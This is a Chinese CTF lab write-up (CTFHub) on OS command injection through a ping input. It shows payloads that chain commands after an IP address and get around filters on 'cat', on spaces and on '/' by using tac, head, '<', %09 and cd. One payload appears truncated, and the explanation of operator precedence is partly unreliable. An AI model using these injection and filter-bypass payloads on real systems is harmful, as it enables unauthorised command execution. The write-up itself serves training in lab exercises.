[CTFHUB技能树]REC-命令注入

过滤cat

[CTFHUB技能树]REC-命令注入_第1张图片
REC漏洞 构造payload获取根目录信息
payload=0.0.0.0;ls
[CTFHUB技能树]REC-命令注入_第2张图片
flag就在根目录中
获取flag payload=127.0.0.1|cat flag_113311162723831.php
[CTFHUB技能树]REC-命令注入_第3张图片
无法直接获取flag,后台进行了cat过滤,当命令中出现cat时,会返回&m(正则化匹配结果)

知识点 :可以使用使用其他命令替换cat

tac more less head tail nl

payload=127.0.0.1|head flag_113311162723831.php
[CTFHUB技能树]REC-命令注入_第4张图片
输出内容为空
可能是内容被注释掉了
查看源代码
[CTFHUB技能树]REC-命令注入_第5张图片
得到flag

过滤空格

显示当前文件夹信息 payload=127.0.0.1|ls
[CTFHUB技能树]REC-命令注入_第6张图片
获取flag payload=127.0.0.1|cat flag_113311162723831.php
逻辑上过滤了空格
知识点:可以使用< %20 %09代替

输入重定向符号 从文件中读取输入并提供给命令,而不是从键盘输入
%20 URL编码中表示空格符号
%09 URL编码中表示tab符号

payload=127.0.0.1|cat
查看源代码,得到flag
[CTFHUB技能树]REC-命令注入_第7张图片

过滤目录分隔符

显示当前文件夹信息 payload=127.0.0.1|ls
[CTFHUB技能树]REC-命令注入_第8张图片
显示flag_is_here文件夹信息 payload=127.0.0.1|ls flag_is_here
[CTFHUB技能树]REC-命令注入_第9张图片
获取flag payload=127.0.0.1|ls flag_is_here/flag_302302826525570.php
但是这里过滤了/目录分隔符

方法一:分解成三条命令 payload=127.0.0.1&cd flag_is_here;cat flag_302302826525570.php
[CTFHUB技能树]REC-命令注入_第10张图片
得到flag

问题:为什么payload=127.0.0.1|cd flag_is_here;ls是显示结果是
[CTFHUB技能树]REC-命令注入_第11张图片
而payload=127.0.0.1&cd flag_is_here;ls 结果却是
[CTFHUB技能树]REC-命令注入_第12张图片

就像这样
[CTFHUB技能树]REC-命令注入_第13张图片
首先是符号具有优先级

| > ; > &

对于127.0.0.1|cd flag_is_here;ls
|运算符会先创建一个管道(子进程)用于将前后两个命令连接起来,所以ping 127.0.0.1cd flag_is_here是在子进程中进行的,不影响父进程,两个命令执行完之后,父进程中最后执行ls
对于127.0.0.1&cd flag_is_here;ls
127.0.0.1&中的&会使ping 127.0.0.1在后台进行,从而不阻塞当前shell提示符。然后cd flag_is_here;ls会被执行

你可能感兴趣的:(ctf)